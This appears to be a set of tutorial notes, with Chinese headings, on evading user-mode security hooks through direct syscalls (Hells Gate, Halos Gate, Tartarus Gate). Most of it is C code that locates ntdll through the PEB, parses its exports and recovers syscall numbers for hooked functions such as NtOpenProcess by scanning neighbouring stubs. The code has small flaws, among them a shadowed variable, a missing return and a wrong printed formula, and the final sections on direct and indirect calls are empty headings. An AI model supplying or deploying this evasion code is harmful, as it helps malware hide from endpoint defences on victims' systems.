调用syscall实现用户态Hooking绕过
提取 syscall 号码
Hells Gate
Halos Gate
Tartarus Gate
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>
//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
PPEB peb = (PPEB)(__readgsqword(0x60));
PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}
unsigned char QuickGetSSN(PBYTE pFunctionAddress)
{
const int maxOffset = 10; // You can adjust this based on your requirements.
int offset;
unsigned char ssn = -1;
if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
{
printf("The function is clean\n");
char ssn = *((unsigned char*)(pFunctionAddress + 4));
printf("ID of searched function is: 0x%x\n", ssn);
return ssn;
}
else
{
printf("The function is hooked\n");
// Search both upwards and downwards.
for (offset = 1; offset <= maxOffset; ++offset)
{
// Check upwards.
PBYTE checkAddress = pFunctionAddress - (0x20 * offset);
if (checkAddress[0] == 0x4C && checkAddress[1] == 0x8B && checkAddress[2] == 0xD1 && checkAddress[3] == 0xB8)
{
ssn = *((unsigned char*)(checkAddress + 4));
printf("Clean sequence found upwards at offset -0x%x, SSN of the unhooked function is 0x%x\n", offset, ssn);
printf("SSN of searched NTAPI is 0x%x\n", (offset + ssn));
return ssn+offset;
}
// Check downwards.
checkAddress = pFunctionAddress + (0x20 * offset);
if (checkAddress[0] == 0x4C && checkAddress[1] == 0x8B && checkAddress[2] == 0xD1 && checkAddress[3] == 0xB8)
{
ssn = *((unsigned char*)(checkAddress + 4));
printf("Clean sequence found downwards at offset 0x%x, SSN of the unhooked function is 0x%x\n",offset, ssn);
printf("SSN of searched NTAPI is 0x%x\n", (offset - ssn));
return ssn-offset;
}
}
}
}
unsigned char GetSSNByName(IN HMODULE hModule, const CHAR* funcName)
{
PBYTE pBase = (PBYTE)hModule;
unsigned char ssn;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return -1;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return -1;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
{
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (_stricmp(funcName, pFunctionName) == 0)
{
if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
{
printf("NTAPI %s may not be hooked\n", funcName);
ssn = *((unsigned char*)(pFunctionAddress + 4));
printf("Syscall number of function %s is: 0x%x\n", pFunctionName,ssn); //0x18
return ssn;
}
else
{
printf("NTAPI %s is hooked, check surrounding functions\n", funcName);
ssn = QuickGetSSN(pFunctionAddress);
printf("Syscall number of function %s is: 0x%x\n", pFunctionName, ssn); //0x18
return ssn;
}
return -1;
}
}
return -1;
}
int main()
{
HMODULE ntdll;
HMODULE kernel32;
GetModule(&ntdll, &kernel32);
printf("ntdll base address: %p\n", ntdll);
printf("kernel32 base address: %p\n", kernel32);
unsigned char ssn =GetSSNByName(ntdll, "NtOpenProcess");
printf("SSN of the NtOpenProcess is 0x%x\n", ssn);
return 0;
}

直接调用 Syscall
间接调用 Syscall